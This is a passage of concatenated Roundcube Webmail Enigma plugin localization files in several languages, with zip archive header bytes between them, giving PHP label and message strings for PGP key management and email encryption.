$labels['passwordtime'] = 'אחסון סיסמאות של מפתח פרטי עבור';
$labels['nminutes'] = 'm$ דקות';
$labels['wholesession'] = 'כל משך ההתקשרות';
$labels['createkeys'] = 'יצירה של צמד מפתחות';
$labels['importkeys'] = 'ייבוא מפתח אחד או יותר';
$labels['exportkeys'] = 'ייצוא מפתח אחד או יותר';
$labels['keyactions'] = 'פעולות אפשריות למפתח...';
$labels['keyremove'] = 'הסר';
$labels['keydisable'] = 'חסום';
$labels['keyrevoke'] = 'הפקעה';
$labels['keysend'] = 'משלוח מפתח ציבורי בהודעה';
$labels['keychpass'] = 'שינוי סיסמה';
$labels['keyadd'] = 'הוספת מפתח';
$labels['newkeyident'] = 'זהות';
$labels['newkeypass'] = 'סיסמה';
$labels['newkeypassconfirm'] = 'אישור סיסמה';
$labels['newkeytype'] = 'סוג מפתח';
$labels['rsa2048'] = 'RSA - 2048 bits';
$labels['rsa4096'] = 'RSA - 4096 bits';
$labels['ecckeypair'] = 'ECC (Elliptic Curve)';
$labels['keygenerating'] = 'מפתחות נוצרים...';
$labels['encryptionoptions'] = 'אפשרויות הצפנה...';
$labels['encryptmsg'] = 'הצפנה של הודעה זו';
$labels['signmsg'] = 'חתימה דיגיטלית של הודעה זו';
$labels['sendunencrypted'] = 'לשלוח ללא הצפנה';
$labels['enterkeypasstitle'] = 'נא להקיש צרור אותיות וסימנים ליצירת מפתח';
$labels['enterkeypass'] = 'יש להקיש צרור אותיות וסימנים שנבחרו קודם כדי לשחרר נעילה של המפתח הסודי  (keyid$)  של משתמש  user$';
$labels['attachpubkeymsg'] = 'צירוף המפתח הציבורי שלי';
$labels['keyexportprompt'] = 'האם ברצונך לכלול מפתחות סודיים בקובץ השמור של המפתחות ?';
$labels['onlypubkeys'] = 'ייצוא מפתחות ציבוריים בלבד';
$labels['withprivkeys'] = 'ייצוא מפתחות סודיים';
$labels['findkey'] = 'חיפוש בשרת(י) מפתח';
$labels['keyimportlabel'] = 'ייבוא מקובץ';
$labels['keyimportsearchlabel'] = 'חיפוש בשרת(י) מפתח';
$labels['managekeys'] = 'ניהול מפתחות הצפנה';
$labels['identitymatchingprivkeys'] = 'קיימים $nr  מפתחות הצפנה פרטיים תואמים בצרור המפתחות שלך';
$labels['identitynoprivkeys'] = 'לזהות השולחת אין עדיין מפתח הצפנה פרטי בצרור המפתחות שלך';
$labels['arialabelkeyexportoptions'] = 'אפשרויות ייצוא של מפתחות';
$labels['arialabelkeysearchform'] = 'טופס חיפוש מפתח';
$labels['arialabelkeyoptions'] = 'אפשרויות מפתח';
$messages['sigvalid'] = 'אימות חתימה מ sender$';
$messages['sigvalidpartial'] = 'אומתה חתימה של sender$ אבל חלק מגוף ההודעה לא נחתם';
$messages['siginvalid'] = 'חתימה לא תקינה מ sender$';
$messages['sigunverified'] = 'חתימה לא מאומתת. התעודה לא אומתה. קוד תעודה: keyid$.';
$messages['signokey'] = 'חתימה לא מאומתת. לא נמצא מפתח ציבורי. קוד מפתח: keyid$.';
$messages['sigerror'] = 'חתימה לא מאומתת. שגיאה פנימית.';
$messages['decryptok'] = 'הודעה פוענחה.';
$messages['decrypterror'] = 'הפיענוח נכשל.';
$messages['decryptnokey'] = 'הפיענוח נכשל. לא נמצא מפתח פרטי. קוד מפתח: keyid$.';
$messages['decryptnomdc'] = 'לא בוצע הפיענוח.  אין להודעה הגנת שלמות.';
$messages['decryptbadpass'] = 'פיענוח נכשל. סיסמה שגויה.';
$messages['decryptnopass'] = 'פענוח נכשל. נדרשת סיסמת מפתח.';
$messages['decryptpartial'] = 'ההודעה פוענחה אבל חלק מגוף ההודעה כלל לא הוצפן';
$messages['signerror'] = 'חתימה נכשלה.';
$messages['signnokey'] = 'חתימה נכשלה. לא נמצא מפתח פרטי.';
$messages['signbadpass'] = 'חתימה נכשלה. סיסמה שגויה.';
$messages['signnopass'] = 'חיתום נכשל. נדרשת סיסמת מפתח.';
$messages['encrypterror'] = 'הצפנה נכשלה.';
$messages['encryptnokey'] = 'הצפנה נכשלה. לא נמצא מפתח ציבורי עבור mail$.';
$messages['encryptnoprivkey'] = 'הצפנה נכשלה. לא נמצא מפתח פרטי.';
$messages['nokeysfound'] = 'לא נמצאו מפתחות.';
$messages['keynotfound'] = 'לא נמצא מפתח !';
$messages['keyopenerror'] = 'לא ניתן להשיג מידע על מפתח! שגיאה פנימית.';
$messages['keylisterror'] = 'לא ניתן להציג רשימת מפתחות! שגיאה פנימית.';
$messages['keysimportfailed'] = 'לא ניתן לייבא מפתח אחד או יותר !   שגיאה פנימית.';
$messages['keysimportsuccess'] = 'מפתחות יובאו בהצלחה. יובא: new$, לא שינוי: old$.';
$messages['keyremoving'] = 'הסרת מפתחות...';
$messages['keyremoveconfirm'] = 'האם למחוק את המפתחות שנבחרו?';
$messages['keyremovesuccess'] = 'מפתח(ות) נמחק(ו) בהצלחה';
$messages['keyremoveerror'] = 'לא ניתן למחוק את המפתחות שנבחרו.';
$messages['keyimporttext'] = 'ניתן לייבא מפתחות פרטיים וציבוריים או חתימות ביטול בםפורמט ASCII-Armor';
$messages['keyimportsearchtext'] = 'ניתן לחפש מפתחות ציבוריים לפי מזהה מפתח, שם משתמש או כתובת דוא"ל ואח"כ לייבא אותם ישירות.';
$messages['keystoragenotice'] = 'כל המפתחות הציבוריים והפרטיים מאוחסנים על השרת';
$messages['formerror'] = 'נא למלא את כל השדות בטופס !';
$messages['passwordsdiffer'] = 'הסיסמאות לא תואמות!';
$messages['keygenerateerror'] = 'נכשלה יצירה של צמד המפתחות';
$messages['keygeneratesuccess'] = 'נוצר צמד מפתחות ויובא בהצלחה.';
$messages['keygennosupport'] = 'הדפדפן הזה אינו תומך בהצפנה. לא ניתן לייצר צמד מפתחות !';
$messages['noidentselected'] = 'יש לבחור לפחות זהות אחת עבור המפתח';
$messages['nonameident'] = 'יש להגדיר שם משתמש בהגדרת הזהות !';
$labels['newkeysize'] = 'גודל מפתח';
$labels['key2048'] = 'ברירת מחדל - 2048 סיביות';
$labels['key4096'] = '4096 סיביות - יותר בטוח';
PKh�\+N^�		%plugins/enigma/localization/ga_IE.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Criptiúchán';
$labels['keyname'] = 'Ainm';
$labels['fingerprint'] = 'Méarlorg';
$labels['basicinfo'] = 'An fhaisnéis bhunúsach';
$labels['userids'] = 'Úsáideoirí breise';
$labels['typepublickey'] = 'eochair phoiblí';
$labels['typesign'] = 'Sínigh';
$labels['typeencrypt'] = 'Criptigh';
$labels['typecert'] = 'Deimhnigh';
$labels['typeauth'] = 'Fíordheimhniú';
$labels['subkeyid'] = 'Aitheantas';
$labels['subkeyalgo'] = 'Algartam';
$labels['subkeycreated'] = 'Cruthaithe';
$labels['subkeyexpires'] = 'Éagann sé';
$labels['subkeyusage'] = 'Úsáid';
$labels['expiresnever'] = 'riamh';
$labels['unknown'] = 'anaithnid';
$labels['uservalid'] = 'Bailí';
$labels['userid'] = 'Aitheantas';
$labels['valid'] = 'bailí';
$labels['signdefault'] = 'Sínigh gach teachtaireacht mar réamhshocrú';
$labels['encryptdefault'] = 'Criptigh gach teachtaireacht mar réamhshocrú';
$labels['nminutes'] = '$m nóiméad';
$labels['wholesession'] = 'an dreas ar fad';
$labels['keyremove'] = 'Bain';
$labels['keydisable'] = 'Díchumasaigh';
$labels['keyrevoke'] = 'Aisghairm';
$labels['keysend'] = 'Seol eochair phoiblí i dteachtaireacht';
$labels['keychpass'] = 'Athraigh d\'fhocal faire';
$labels['newkeypass'] = 'Pasfhocal';
$labels['newkeypassconfirm'] = 'Deimhnigh an focal faire';
$labels['keygenerating'] = 'Ag cruthú eochracha...';
$labels['encryptmsg'] = 'Criptigh an teachtaireacht seo';
$labels['signmsg'] = 'Sínigh an teachtaireacht seo go digiteach';
$labels['attachpubkeymsg'] = 'Ceangail m\'eochair phoiblí';
$labels['keyimportlabel'] = 'Tabhair isteach ó chomhad';
$messages['decrypterror'] = 'Theip ar an díchriptiú';
$messages['signerror'] = 'Theip ar an síniú.';
$messages['encrypterror'] = 'Theip ar an gcriptiú.';
$messages['nokeysfound'] = 'Níor aimsíodh aon eochair';
$messages['keynotfound'] = 'Níor aimsíodh an eochair!';
$messages['passwordsdiffer'] = 'Ní hionann na focail fhaire!';
$labels['newkeysize'] = 'Méid na heochrach';
$labels['key2048'] = '2048 beart - an réamhshocrú';
PKh�\�k���%plugins/enigma/localization/da_DK.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Kryptering';
$labels['enigmacerts'] = 'S/MIME Certifikater';
$labels['enigmakeys'] = 'PGP Nøgler';
$labels['keysfromto'] = 'Nøgler $from $to af $count';
$labels['keyname'] = 'Navn';
$labels['keyid'] = 'NøgleID';
$labels['keyuserid'] = 'Bruger ID';
$labels['keytype'] = 'Nøgletype';
$labels['fingerprint'] = 'Fingeravtryk';
$labels['subkeys'] = 'Undernøgler';
$labels['keyprops'] = 'Nøgleegenskaber';
$labels['basicinfo'] = 'Grundlæggende Oplysninger';
$labels['userids'] = 'Yderligere Brugere';
$labels['typepublickey'] = 'offentlig nøgle';
$labels['typekeypair'] = 'nøglepar';
$labels['keyattfound'] = 'Denne meddelelse indeholder vedhæftede PGP nøgl(er).';
$labels['keyattimport'] = 'Importer nøgl(er)';
$labels['typeencrypt'] = 'Krypter';
$labels['typeauth'] = 'Godkendelse';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritme';
$labels['subkeycreated'] = 'Oprettet';
$labels['subkeyexpires'] = 'Udløber';
$labels['subkeyusage'] = 'Anvendelse';
$labels['expiresnever'] = 'aldrig';
$labels['unknown'] = 'ukendt';
$labels['uservalid'] = 'Gyldig';
$labels['userid'] = 'ID';
$labels['valid'] = 'gyldig';
$labels['supportencryption'] = 'Aktiver beskedkryptering og meddelelsessignatur';
$labels['supportsignatures'] = 'Aktiver verificering af meddelelsessignaturer';
$labels['supportdecryption'] = 'Aktiver beskeddekryptering';
$labels['signdefault'] = 'Underskriv alle meddelelser som standard';
$labels['encryptdefault'] = 'Krypter alle meddelelser som standard';
$labels['attachpubkeydefault'] = 'Vedhæft min offentlige PGP nøgle som standard';
$labels['passwordtime'] = ' 
Behold adgangskoder til private nøgler for';
$labels['nminutes'] = '$m minut(er)';
$labels['wholesession'] = 'hele sessionen';
$labels['createkeys'] = 'Opret et nyt nøglepar';
$labels['importkeys'] = 'Importer nøgl(er)';
$labels['exportkeys'] = 'Eksporter nøgl(er)';
$labels['keyactions'] = 'Nøglehandlinger...';
$labels['keyremove'] = 'Fjern';
$labels['keydisable'] = 'Deaktiver';
$labels['keyrevoke'] = 'Tilbagekald';
$labels['keysend'] = 'Send offentlig nøgle i en besked';
$labels['keychpass'] = 'Skift kodeord:';
$labels['keyadd'] = 'Tilføj nøgle';
$labels['newkeyident'] = 'Identificer';
$labels['newkeypass'] = 'Adgangskode';
$labels['newkeypassconfirm'] = 'Bekræft password';
$labels['newkeytype'] = 'Nøgletype';
$labels['rsa2048'] = 'RSA - 2048 bits';
$labels['rsa4096'] = 'RSA - 4096 bits';
$labels['ecckeypair'] = 'ECC (Elliptic Curve)';
$labels['keygenerating'] = 'Genererer nøgler...';
$labels['encryptionoptions'] = 'Krypteringsmuligheder...';
$labels['encryptmsg'] = 'Krypter denne meddelelse';
$labels['signmsg'] = 'Underskriv denne meddelelse digitalt';
$labels['sendunencrypted'] = 'Send ukrypteret';
$labels['enterkeypasstitle'] = 'Indtast nøgleordet';
$labels['enterkeypass'] = 'En adgangssætning er nødvendig for at låse den hemmelige nøgle op ($keyid) for bruger: $user.';
$labels['attachpubkeymsg'] = 'Vedhæft min offentlige nøgle';
$labels['keyexportprompt'] = 'Vil du inkludere hemmelige nøgler i den gemte OpenPGP nøglefil?';
$labels['onlypubkeys'] = 'Eksporter kun offentlige nøgler';
$labels['withprivkeys'] = 'Eksporter hemmelige nøgler';
$labels['findkey'] = 'Søg på nøgleserv(er)';
$labels['keyimportlabel'] = 'Importer fra fil';
$labels['keyimportsearchlabel'] = 'Søg på nøgleserv(er)';
$labels['managekeys'] = 'Administrer PGP nøgler';
$labels['identitymatchingprivkeys'] = 'Du har $nr matchende PGP private nøgler gemt i din nøglering:';
$labels['identitynoprivkeys'] = 'Denne afsenderidentitet har endnu ikke en privat PGP nøgle gemt i din nøglering.';
$labels['arialabelkeyexportoptions'] = 'Nøgler eksport muligheder';
$labels['arialabelkeysearchform'] = 'Nøglesøgningsformular';
$labels['arialabelkeyoptions'] = 'Nøglemuligheder';
$messages['sigvalid'] = 'Verificeret signatur fra $sender.';
$messages['siginvalid'] = ' 
Ugyldig signatur fra $sender.';
$messages['sigunverified'] = 'Ubekræftet signatur. Certifikat ikke verificeret. Certifikat ID: $keyid.';
$messages['signokey'] = 'Ubekræftet signatur. Offentlig nøgle blev ikke fundet. Nøgle ID: $keyid.';
$messages['sigerror'] = 'Ubekræftet signatur. Intern fejl.';
$messages['decryptok'] = 'Meddelelse dekrypteret.';
$messages['decrypterror'] = 'Dekryptering mislykkedes.';
$messages['decryptnokey'] = 'Dekryptering mislykkedes. Privat nøgle ikke fundet. Nøgle ID: $keyid.';
$messages['decryptnomdc'] = 'Dekryptering sprunget over. Beskeden er ikke integritetsbeskyttet.';
$messages['decryptbadpass'] = 'Dekryptering mislykkedes. Forkert kodeord.';
$messages['decryptnopass'] = 'Dekryptering mislykkedes. Nøgleadgangskode påkrævet.';
$messages['signerror'] = 'Signering mislykkedes.';
$messages['signnokey'] = 'Signering mislykkedes. Privat nøgle ikke fundet.';
$messages['signbadpass'] = 'Signering mislykkedes. Forkert kodeord.';
$messages['signnopass'] = 'Signering mislykkedes. Nøgleadgangskode påkrævet.';
$messages['encrypterror'] = 'Kryptering mislykkedes.';
$messages['encryptnokey'] = 'Kryptering mislykkedes. Offentlig nøgle ikke fundet til $email.';
$messages['encryptnoprivkey'] = 'Kryptering mislykkedes. Privat nøgle ikke fundet.';
$messages['nokeysfound'] = 'Ingen nøgler fundet';
$messages['keynotfound'] = 'Nøglen blev ikke fundet!';
$messages['keyopenerror'] = 'Kan ikke få nøgle oplysninger! Intern fejl.';
$messages['keylisterror'] = 'Kan ikke angive nøgler! Intern fejl.';
$messages['keysimportfailed'] = 'Kan ikke importere nøgl(er)! Intern fejl.';
$messages['keysimportsuccess'] = 'Nøgl(er) blev succesfuldt Importeret: $new, uændret: $old.';
$messages['keyremoving'] = 'Slettet nøgl(er)...';
$messages['keyremoveconfirm'] = 'Er du sikker på, at du vil slette valgte nøgl(er)?';
$messages['keyremovesuccess'] = 'Nøgl(er) blev slettet';
$messages['keyremoveerror'] = 'Kunne ikke slette de valgte nøgl(er).';
$messages['keyimportsearchtext'] = 'Du kan søge efter offentlige nøgler efter nøgle id, brugernavn eller e -mail adresse og derefter importere dem direkte.';
$messages['keystoragenotice'] = 'Alle offentlige og private nøgler gemmes på serveren';
$messages['formerror'] = 'Venligst udfyld formularen. Alle felter skal udfyldes!';
$messages['passwordsdiffer'] = 'Adgangskoderne stemmer ikke overens!';
$messages['keygenerateerror'] = 'Det lykkedes ikke at generere et nøglepar';
$messages['keygeneratesuccess'] = 'Et nøglepar blev genereret og importeret.';
$messages['keygennosupport'] = 'Din webbrowser understøtter ikke kryptografi. Kan ikke generere et nøglepar!';
$messages['noidentselected'] = 'Du skal vælge mindst én identitet til nøglen!';
$messages['nonameident'] = 'Identitet skal have et brugernavn defineret!';
$labels['newkeysize'] = 'Nøglestørrelse';
$labels['key2048'] = '2048 bits - standard';
$labels['key4096'] = '4096 bits - mere sikker';
PKh�\-'
��%plugins/enigma/localization/sl_SI.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Šifriranje';
$labels['keyname'] = 'Ime';
$labels['keyid'] = 'ID ključa';
$labels['typeencrypt'] = 'Šifriraj';
$labels['subkeycreated'] = 'Ustvarjen';
$labels['expiresnever'] = 'nikoli';
$labels['unknown'] = 'neznan';
$labels['createkeys'] = 'Ustvari nov par ključev';
$labels['keychpass'] = 'Spremenjeno geslo';
$labels['newkeypass'] = 'Geslo';
$labels['keyimportlabel'] = 'Uvozi iz dokumenta';
PKh�\�����"plugins/enigma/localization/ar.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'التشفير';
$labels['enigmakeys'] = 'مفاتيح PGP';
$labels['keyname'] = 'الإسم';
$labels['keytype'] = 'نوع المفتاح';
$labels['fingerprint'] = 'البصمة';
$labels['typeencrypt'] = 'تعمية';
$labels['typeauth'] = 'المصادقة';
$labels['expiresnever'] = 'أبداً';
$labels['unknown'] = 'مجهول';
$labels['createkeys'] = 'إنشاء زوج مِن المفاتيح';
$labels['keychpass'] = 'تغيير كلمة المرور';
$labels['newkeyident'] = 'الهوية';
$labels['newkeypass'] = 'كلمة المرور';
$labels['newkeypassconfirm'] = 'تأكيد الكلمة السرية';
$labels['newkeytype'] = 'نوع المفتاح';
$labels['keygenerating'] = 'جارٍ توليد المفاتيح...';
$labels['managekeys'] = 'إدارة مفاتيح PGP';
$labels['newkeysize'] = 'حجم المفتاح';
$labels['key2048'] = '2048 bits - افتراضي';
$labels['key4096'] = '4096 bits - أكثر أمانا';
PKh�\!R�W��%plugins/enigma/localization/si_LK.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['expiresnever'] = 'කිසි විටෙකත් නැති';
$labels['unknown'] = 'නොදනී';
$labels['newkeypass'] = 'මුරපදය';
PKh�\<c�|2"2"%plugins/enigma/localization/de_DE.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Verschlüsselung';
$labels['enigmacerts'] = 'S/MIME-Zertifikate';
$labels['enigmakeys'] = 'PGP-Schlüssel';
$labels['keysfromto'] = 'Schlüssel $from bis $to von $count';
$labels['keyname'] = 'Schlüssel';
$labels['keyid'] = 'Schlüsselkennung';
$labels['keyuserid'] = 'Benutzerkennung';
$labels['keytype'] = 'Schlüsseltyp';
$labels['fingerprint'] = 'Fingerabdruck';
$labels['subkeys'] = 'Unterschlüssel';
$labels['keyprops'] = 'Schlüssel-Eigenschaften';
$labels['basicinfo'] = 'Allgemeine Informationen';
$labels['userids'] = 'Zusätzliche Benutzer';
$labels['typepublickey'] = 'Öffentlicher Schlüssel';
$labels['typekeypair'] = 'Schlüsselpaar';
$labels['keyattfound'] = 'Diese Nachricht enthält angehängte PGP-Schlüssel.';
$labels['keyattimport'] = 'Schlüssel importieren';
$labels['typesign'] = 'Signieren';
$labels['typeencrypt'] = 'Verschlüsseln';
$labels['typecert'] = 'Bestätigen';
$labels['typeauth'] = 'Authentifizierung';
$labels['subkeyid'] = 'Kennung';
$labels['subkeyalgo'] = 'Algorithmus';
$labels['subkeycreated'] = 'Erstellt am';
$labels['subkeyexpires'] = 'Läuft aus';
$labels['subkeyusage'] = 'Verwendet für';
$labels['expiresnever'] = 'nie';
$labels['unknown'] = 'unbekannt';
$labels['uservalid'] = 'Gültigkeit';
$labels['userid'] = 'Kennung';
$labels['valid'] = 'gültig';
$labels['supportencryption'] = 'Nachrichtenverschlüsselung und Signierung aktivieren';
$labels['supportsignatures'] = 'Verifizierung der Nachrichtensignatur aktivieren';
$labels['supportdecryption'] = 'Entschlüsselung von Nachrichten aktivieren';
$labels['signdefault'] = 'Nachrichten immer signieren';
$labels['encryptdefault'] = 'Nachrichten immer verschlüsseln';
$labels['attachpubkeydefault'] = 'Öffentlichen Schlüssel in der Nachricht anfügen';
$labels['passwordtime'] = 'Private Schlüssel behalten für';
$labels['nminutes'] = '$m Minuten';
$labels['wholesession'] = 'die gesamte Sitzung';
$labels['createkeys'] = 'Neues Schlüsselpaar erstellen';
$labels['importkeys'] = 'Schlüssel importieren';
$labels['exportkeys'] = 'Schlüssel exportieren';
$labels['keyactions'] = 'Aktionen …';
$labels['keyremove'] = 'Entfernen';
$labels['keydisable'] = 'Deaktivieren';
$labels['keyrevoke'] = 'Widerrufen';
$labels['keysend'] = 'Öffentlichen Schlüssel versenden';
$labels['keychpass'] = 'Passwort ändern';
$labels['keyadd'] = 'Schlüssel hinzufügen';
$labels['newkeyident'] = 'Identität';
$labels['newkeypass'] = 'Passwort';
$labels['newkeypassconfirm'] = 'Passwort bestätigen';
$labels['newkeytype'] = 'Schlüsseltyp';
$labels['rsa2048'] = 'RSA - 2048 Bit';
$labels['rsa4096'] = 'RSA - 4096 Bit';
$labels['ecckeypair'] = 'EKK (Elliptische Kurve)';
$labels['keygenerating'] = 'Schlüssel werden erstellt …';
$labels['encryptionoptions'] = 'Verschlüsselungsoptionen';
$labels['encryptmsg'] = 'Diese Nachricht verschlüsseln';
$labels['signmsg'] = 'Diese Nachricht digital signieren';
$labels['sendunencrypted'] = 'Unverschlüsselt senden';
$labels['enterkeypasstitle'] = 'Bitte Schlüsselpasswort eingeben';
$labels['enterkeypass'] = 'Ein Passwort wird benötigt, um den privaten Schlüssel ($keyid) für Benutzer »$user« zu entsperren.';
$labels['attachpubkeymsg'] = 'Meinen öffentlichen Schlüssel anfügen';
$labels['keyexportprompt'] = 'Möchten Sie geheime Schlüssel in die gespeicherte OpenPGP-Schlüsseldatei mit aufnehmen?';
$labels['onlypubkeys'] = 'Nur öffentliche Schlüssel exportieren';
$labels['withprivkeys'] = 'Geheime Schlüssel exportieren';
$labels['findkey'] = 'Auf Schlüsselserver(n) suchen';
$labels['keyimportlabel'] = 'Aus Datei importieren';
$labels['keyimportsearchlabel'] = 'Auf Schlüsselserver(n) suchen';
$labels['managekeys'] = 'PGP-Schlüssel verwalten';
$labels['identitymatchingprivkeys'] = 'Sie haben $nr passende private Schlüssel in Ihrem Schlüsselverzeichnis:';
$labels['identitynoprivkeys'] = 'Für diese Absender-Identität ist bis jetzt kein privater PGP-Schlüsselverzeichnis gespeichert.';
$labels['arialabelkeyexportoptions'] = 'Optionen für Schlüsselexport';
$labels['arialabelkeysearchform'] = 'Suchmaske für Schlüssel';
$labels['arialabelkeyoptions'] = 'Schlüsseloptionen';
$messages['sigvalid'] = 'Signatur von $sender wurde erfolgreich überprüft.';
$messages['sigvalidpartial'] = 'Signatur von $sender wurde überprüft, aber ein Teil der Nachricht wurde nicht signiert.';
$messages['siginvalid'] = 'Ungültige Signatur von $sender.';
$messages['sigunverified'] = 'Unbestätigte Signatur. Zertifikat nicht überprüft. Zertifikatkennung: $keyid. ';
$messages['signokey'] = 'Unbestätigte Signatur. Öffentlicher Schlüssel wurde nicht gefunden. Schlüsselkennung: $keyid.';
$messages['sigerror'] = 'Unbestätigte Signatur. Interner Fehler.';
$messages['decryptok'] = 'Nachricht entschlüsselt.';
$messages['decrypterror'] = 'Entschlüsselung fehlgeschlagen.';
$messages['decryptnokey'] = 'Entschlüsselung fehlgeschlagen. Privater Schlüssel wurde nicht gefunden. Schlüsselkennung: $keyid.';
$messages['decryptnomdc'] = 'Entschlüsselung übersprungen. Nachricht ist nicht integritätsgeschützt.';
$messages['decryptbadpass'] = 'Entschlüsselung fehlgeschlagen. Passwort ungültig.';
$messages['decryptnopass'] = 'Entschlüsselung fehlgeschlagen. Schlüsselpasswort wird benötigt.';
$messages['decryptpartial'] = 'Nachricht entschlüsselt, aber ein Teil der Nachricht wurde nicht verschlüsselt.';
$messages['signerror'] = 'Signierung fehlgeschlagen.';
$messages['signnokey'] = 'Signierung fehlgeschlagen. Privater Schlüssel wurde nicht gefunden.';
$messages['signbadpass'] = 'Signierung fehlgeschlagen. Passwort ungültig.';
$messages['signnopass'] = 'Signierung fehlgeschlagen. Schlüsselpasswort wird benötigt.';
$messages['encrypterror'] = 'Verschlüsselung fehlgeschlagen.';
$messages['encryptnokey'] = 'Verschlüsselung fehlgeschlagen. Öffentlicher Schlüssel für $email nicht gefunden';
$messages['encryptnoprivkey'] = 'Verschlüsselung fehlgeschlagen. Privater Schlüssel nicht gefunden.';
$messages['nokeysfound'] = 'Keine Schlüssel gefunden';
$messages['keynotfound'] = 'Schlüssel nicht gefunden!';
$messages['keyopenerror'] = 'Abrufen der Schlüsselinformationen nicht möglich. Interner Fehler.';
$messages['keylisterror'] = 'Auflisten der Schlüsselinformationen nicht möglich! Interner Fehler.';
$messages['keysimportfailed'] = 'Schlüsselimport fehlgeschlagen! Interner Fehler.';
$messages['keysimportsuccess'] = 'Schlüsselimport erfolgreich. Importiert: $new, unverändert: $old.';
$messages['keyremoving'] = 'Schlüssel werden entfernt …';
$messages['keyremoveconfirm'] = 'Sind Sie sich sicher, dass Sie die ausgewählten Schlüssel entfernen wollen?';
$messages['keyremovesuccess'] = 'Schlüssel erfolgreich gelöscht.';
$messages['keyremoveerror'] = 'Löschung der Schlüssel nicht möglich.';
$messages['keyimporttext'] = 'Private und öffentliche Schlüssel sowie zurückgerufene Signaturen können im ASCII-Armor Format importiert werden.';
$messages['keyimportsearchtext'] = 'Sie können für öffentliche Schlüssel nach dem Schlüsselbezeichner, Benutzername oder der E-Mail-Adresse suchen und diese dann direkt importieren.';
$messages['formerror'] = 'Bitte, alle Eingabefelder ausfüllen. Alle Eingabefelder werden benötigt!';
$messages['passwordsdiffer'] = 'Passwörter stimmen nicht überein.';
$messages['keygenerateerror'] = 'Schlüsselgenerierung fehlgeschlagen.';
$messages['keygeneratesuccess'] = 'Schlüsselpaar erfolgreich generiert und importiert.';
$messages['keygennosupport'] = 'Dein Browser unterstützt keine Kryptopgraphiefunktionen. Konnte Schlüsselpaar nicht generieren!';
$messages['noidentselected'] = 'Sie müssen mindestens eine Identität für den Schlüssel auswählen!';
$messages['nonameident'] = 'Identität muss einen Benutzernamen definiert haben.';
$labels['newkeysize'] = 'Schlüssel-Größe';
$labels['key2048'] = '2048 Bit - Vorgabe';
$labels['key4096'] = '4096 Bit - mehr Sicherheit';
PKh�\�@@%plugins/enigma/localization/sv_SE.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Kryptering';
$labels['enigmacerts'] = 'S/MIME-certifikat';
$labels['enigmakeys'] = 'PGP-nycklar';
$labels['keysfromto'] = 'Nyckel $from till $to av $count';
$labels['keyname'] = 'Namn';
$labels['keyid'] = 'Nyckel-ID';
$labels['keyuserid'] = 'Användar-ID';
$labels['keytype'] = 'Nyckeltyp';
$labels['fingerprint'] = 'Fingeravtryck';
$labels['subkeys'] = 'Undernycklar';
$labels['keyprops'] = 'Nyckelegenskaper';
$labels['basicinfo'] = 'Grundläggande information';
$labels['userids'] = 'Ytterligare användare';
$labels['typepublickey'] = 'offentlig nyckel';
$labels['typekeypair'] = 'nyckelpar';
$labels['keyattfound'] = 'Meddelandet innehåller en eller flera bifogade PGP-nycklar.';
$labels['keyattimport'] = 'Importera nyckel';
$labels['typesign'] = 'Signera';
$labels['typeencrypt'] = 'Kryptera';
$labels['typecert'] = 'Intyga';
$labels['typeauth'] = 'Autentisering';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritm';
$labels['subkeycreated'] = 'Skapad';
$labels['subkeyexpires'] = 'Utgår';
$labels['subkeyusage'] = 'Användning';
$labels['expiresnever'] = 'aldrig';
